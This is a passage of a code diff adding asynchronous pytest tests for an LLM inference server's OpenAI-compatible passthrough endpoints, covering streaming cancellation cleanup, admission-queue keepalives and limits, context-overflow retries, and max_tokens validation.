+            async def fake_send(_client, req, *_args, **_kwargs):
+                calls.append(json.loads(req.content.decode("utf-8")))
+                if len(calls) == 1:
+                    await gate.wait()
+                    return httpx.Response(400, content = err_body)
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            messages = [
+                ChatMessage(role = "system", content = "system"),
+                *[
+                    ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000))
+                    for idx in range(8)
+                ],
+            ]
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = messages,
+                stream = True,
+                context_overflow = "truncate_middle",
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            assert "data: [DONE]\n\n" in "".join(chunks)
+            assert len(calls) == 2
+            assert len(calls[1]["messages"]) < len(calls[0]["messages"])
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_immediate_context_retry_adopts_delayed_response(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            calls = []
+            err_body = json.dumps(
+                {
+                    "error": {
+                        "message": "request (10000 tokens) exceeds the available context size (2048 tokens)",
+                        "n_prompt_tokens": 10000,
+                        "n_ctx": 2048,
+                    }
+                }
+            ).encode("utf-8")
+            ok_lines = [
+                'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,'
+                '"model":"gguf","choices":[{"index":0,"delta":{"content":"OK"},'
+                '"finish_reason":null}]}',
+                'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,'
+                '"model":"gguf","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                calls.append(json.loads(req.content.decode("utf-8")))
+                if len(calls) == 1:
+                    return httpx.Response(400, content = err_body)
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                for line in ok_lines:
+                    yield line
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+
+            messages = [
+                ChatMessage(role = "system", content = "system"),
+                *[
+                    ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000))
+                    for idx in range(8)
+                ],
+            ]
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = messages,
+                stream = True,
+                context_overflow = "truncate_middle",
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+
+            assert "OK" in body
+            assert "context_length_exceeded" not in body
+            assert len(calls) == 2
+            assert len(calls[1]["messages"]) < len(calls[0]["messages"])
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            cancel_id = "delayed-request-error-cancel"
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                raise httpx.ConnectError("delayed connectivity issue")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data:" in body
+            assert '"error"' in body
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "Lost connection" in entry["error"]
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_cancel_cleans_pending_send(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            entered = asyncio.Event()
+            cancelled = asyncio.Event()
+            cancel_id = "preheader-cancel-cleanup"
+
+            async def fake_send(*_args, **_kwargs):
+                entered.set()
+                try:
+                    await asyncio.Event().wait()
+                except asyncio.CancelledError:
+                    cancelled.set()
+                    raise
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            task = asyncio.create_task(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            )
+            await asyncio.wait_for(entered.wait(), timeout = 5.0)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await task
+            await asyncio.wait_for(cancelled.wait(), timeout = 5.0)
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            returned = asyncio.Event()
+            cancel_id = "unstarted-completed-send-cleanup"
+
+            class Stream(httpx.AsyncByteStream):
+                async def __aiter__(self):
+                    if False:
+                        yield b""
+
+            stream = Stream()
+            upstream_response = httpx.Response(200, stream = stream)
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                returned.set()
+                return upstream_response
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            gate.set()
+            await asyncio.wait_for(returned.wait(), timeout = 5.0)
+            await asyncio.sleep(0)
+            await response._unstarted_cleanup()
+            assert upstream_response.is_closed
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
     def test_external_non_streaming_json_updates_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2073,6 +4618,150 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_completions_omitted_max_tokens_falls_back_to_context(self, monkeypatch):
+        # With no env knobs set, an omitted max_tokens must forward the
+        # backend's context length, exactly as on main.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False}
+
+            captured = []
+
+            class CapturingClient:
+                async def post(self, _url, *, json, **_kwargs):
+                    captured.append(dict(json))
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "cmpl-test",
+                            "choices": [{"text": "ok"}],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 1,
+                                "total_tokens": 2,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            await openai_completions(Request(), current_subject = "test")
+
+            assert captured[0]["max_tokens"] == 4096
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_forwards_spec_valid_zero_max_tokens(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False, "max_tokens": 0}
+
+            captured = []
+
+            class CapturingClient:
+                async def post(self, _url, *, json, **_kwargs):
+                    captured.append(dict(json))
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "cmpl-test",
+                            "choices": [{"text": "", "finish_reason": "length"}],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 0,
+                                "total_tokens": 1,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            await openai_completions(Request(), current_subject = "test")
+
+            assert captured[0]["max_tokens"] == 0
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_rejects_non_integer_max_tokens_before_forwarding(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False, "max_tokens": "128"}
+
+            class UnusedClient:
+                async def post(self, *_args, **_kwargs):
+                    raise AssertionError("invalid max_tokens must not reach llama-server")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: UnusedClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            with pytest.raises(HTTPException) as exc:
+                await openai_completions(Request(), current_subject = "test")
+
+            assert exc.value.status_code == 400
+            assert exc.value.detail["error"]["param"] == "max_tokens"
+            assert exc.value.detail["error"]["code"] == "invalid_type"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_monitor_openai_chunk_records_all_choice_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -2219,6 +4908,8 @@ class TestApiMonitorProviderAndCompletionStreams:
                 yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
                 await asyncio.sleep(3600)
 
+            cancel_id = "passthrough-stream-delete-cancel"
+
             monitor = ApiMonitor(max_entries = 3)
             monkeypatch.setattr(inf_mod, "api_monitor", monitor)
             monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
@@ -2233,6 +4924,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 model = "default",
                 messages = [ChatMessage(role = "user", content = "hi")],
                 stream = True,
+                cancel_id = cancel_id,
                 tools = [
                     {
                         "type": "function",
@@ -2250,6 +4942,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 SimpleNamespace(
                     base_url = "http://llama.test",
                     context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
                     _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
                 ),
                 payload,
@@ -2261,6 +4954,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             iterator = response.body_iterator
             first = await anext(iterator)
             assert "hello" in first
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
 
             pending = asyncio.create_task(anext(iterator))
             await asyncio.sleep(0)
@@ -2272,6 +4966,271 @@ class TestApiMonitorProviderAndCompletionStreams:
             assert entry["status"] == "cancelled"
             assert entry["reply"] == "hello"
             assert monitor.active_count() == 0
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_immediate_task_cancel_releases_admission_and_tracker(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_cancel_check(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            cancel_id = "passthrough-stream-immediate-task-cancel"
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_raise_if_openai_admission_cancelled",
+                fake_cancel_check,
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            backend = SimpleNamespace(
+                base_url = "http://llama.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await _openai_passthrough_stream(
+                    self._Request(),
+                    threading.Event(),
+                    backend,
+                    payload,
+                    "gguf",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_cancel_before_inner_first_chunk_runs_cleanup(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            body_holder = {}
+            cleanup_called = threading.Event()
+
+            async def fake_admitted(*_args, admission_lease, tracker, **_kwargs):
+                async def cleanup():
+                    admission_lease.release()
+                    tracker.__exit__(None, None, None)
+                    cleanup_called.set()
+
+                class BlockingBody:
+                    def __init__(self):
+                        self.started = threading.Event()
+                        self.closed = False
+
+                    def __aiter__(self):
+                        return self
+
+                    async def __anext__(self):
+                        self.started.set()
+                        await asyncio.sleep(3600)
+                        raise StopAsyncIteration
+
+                    async def aclose(self):
+                        self.closed = True
+                        await cleanup()
+
+                body = BlockingBody()
+                body_holder["body"] = body
+                return _SameTaskStreamingResponse(
+                    body,
+                    media_type = "text/event-stream",
+                    unstarted_cleanup = cleanup,
+                )
+
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_stream_admitted",
+                fake_admitted,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "queued-inner-unstarted-cleanup"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    effective_parallel_slots = 1,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+                blocker.release()
+                pending = asyncio.create_task(iterator.__anext__())
+                for _ in range(100):
+                    if "body" in body_holder:
+                        break
+                    await asyncio.sleep(0.01)
+                body = body_holder["body"]
+                assert await asyncio.to_thread(body.started.wait, 1.0)
+
+                pending.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await asyncio.wait_for(pending, timeout = 1.0)
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            assert body_holder["body"].closed
+            assert cleanup_called.is_set()
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert queue.snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_cancel_after_inner_first_chunk_finalizes_monitor(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_admitted(
+                *_args,
+                monitor_id = None,
+                admission_lease,
+                tracker,
+                **_kwargs,
+            ):
+                async def cleanup():
+                    admission_lease.release()
+                    tracker.__exit__(None, None, None)
+
+                async def body():
+                    try:
+                        yield 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n'
+                        await asyncio.sleep(3600)
+                    except asyncio.CancelledError:
+                        inf_mod.api_monitor.finish(monitor_id, "cancelled")
+                        raise
+                    finally:
+                        await cleanup()
+
+                return _SameTaskStreamingResponse(
+                    body(),
+                    media_type = "text/event-stream",
+                    unstarted_cleanup = cleanup,
+                )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_stream_admitted",
+                fake_admitted,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "queued-inner-cancel-monitor"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    effective_parallel_slots = 1,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+
+                blocker.release()
+                first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert "hello" in first
+
+                pending = asyncio.create_task(iterator.__anext__())
+                await asyncio.sleep(0)
+                pending.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await asyncio.wait_for(pending, timeout = 1.0)
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert queue.snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
 
         asyncio.run(_run())
 
@@ -2357,6 +5316,313 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_usage_done_are_separate_sse_events(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{"role":"assistant"},"finish_reason":null}]}',
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2}}',
+                ],
+                stream_options = {"include_usage": True},
+            )
+
+            assert (
+                '"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2' in result.body
+            )
+            assert "data: [DONE]" in result.body
+            assert "}\n\ndata: [DONE]\n\n" in result.body
+            assert "}\ndata: [DONE]\n\n" not in result.body
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_admitted(*_args, **_kwargs):
+                raise AssertionError("upstream must not start while request is queued")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_openai_passthrough_stream_admitted", fail_admitted)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    effective_parallel_slots = 1,
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_timeout_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start while request is queued")
+
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await _openai_passthrough_non_streaming(
+                        SimpleNamespace(
+                            base_url = "http://llama.test",
+                            effective_parallel_slots = 1,
+                            context_length = 4096,
+                            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                        ),
+                        payload,
+                        "gguf",
+                        request = Request(),
+                        cancel_event = threading.Event(),
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_queue_full_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start when admission queue is full")
+
+            monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "1")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(
+                capacity = 1,
+                config = LlamaAdmissionConfig(max_queue = 1),
+            ).lease_nowait()
+            queued = queue.reserve(capacity = 1, config = LlamaAdmissionConfig(max_queue = 1))
+            assert blocker is not None
+            assert queued.lease_nowait() is None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await _openai_passthrough_non_streaming(
+                        SimpleNamespace(
+                            base_url = "http://llama.test",
+                            effective_parallel_slots = 1,
+                            context_length = 4096,
+                            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                        ),
+                        payload,
+                        "gguf",
+                        request = Request(),
+                        cancel_event = threading.Event(),
+                    )
+                assert exc.value.status_code == 429
+            finally:
+                queued.cancel()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_immediate_cancel_stops_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start after client cancellation")
+
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            cancel_event = threading.Event()
+            cancel_event.set()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        effective_parallel_slots = 1,
+                        context_length = 4096,
